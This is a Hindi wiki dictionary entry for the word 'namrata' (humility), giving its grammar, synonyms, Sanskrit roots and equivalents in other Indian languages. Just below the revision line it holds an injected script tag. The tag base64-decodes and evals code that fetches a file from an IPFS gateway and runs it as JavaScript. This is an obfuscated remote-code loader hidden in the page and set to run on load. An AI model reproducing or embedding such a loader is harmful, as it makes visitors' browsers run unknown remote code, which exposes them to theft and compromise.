नम्रता
Revision as of 05:13, 2 May 2010 by आदित्य चौधरी (talk | contribs) (नम्रता - शब्दसंदर्भ का नाम बदलकर नम्रता कर दिया गया है)
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
hindi | namr, gun, bhav, vinit hone ki avastha | ||||||
-vyakaran | striliang, vilom- udh-dandata. | ||||||
-udaharan (shabd prayog) |
ram ne 'vinamr' hokar apane pita raja dasharath ki van jane ki ajna ka palan kiya. | ||||||
-vishesh | |||||||
-vilom | |||||||
-paryayavachi | vinamrata, adhrishtata, anuddhatata, anauddhaty, dinata, dainy, nati, namrata, nay, narami, mardav, vinitata, vinayapoornata, vinay, shalinata, sanjidagi, salahiyat, savinayata, sunati, sushilata, saumyata, sevakata. | ||||||
sanskrit | namat [namh+atachh] vinit, jhuka hua, vinat, kutil.
namanamh [namh+lyuth] vinit hona, jhukana, namr hona, dabana, vinati, namaskar, abhivadan. | ||||||
any granth | |||||||
sanbandhit shabd | |||||||
sanbandhit lekh | |||||||
any bhashaoan me | |||||||
bhasha | asamiya | u diya | urdoo | kann d | kashmiri | koankani | gujarati |
shabd | namrata | namrata | inkisar (narmi) | namrate | naroomi | namrata | |
bhasha | dogari | tamil | telugu | nepali | panjabi | baangla | bodo |
shabd | panivu adakh-kamh | nimmarata | namrata | ||||
bhasha | manipuri | marathi | malayalam | maithili | santhali | siandhi | aangrezi |
shabd | vinamrata | namrat, vanakkan | nihathaee, niu dat | Mildness, Humility, Submissiveness |
any shabdoan ke arth ke lie dekhean shabd sandarbh kosh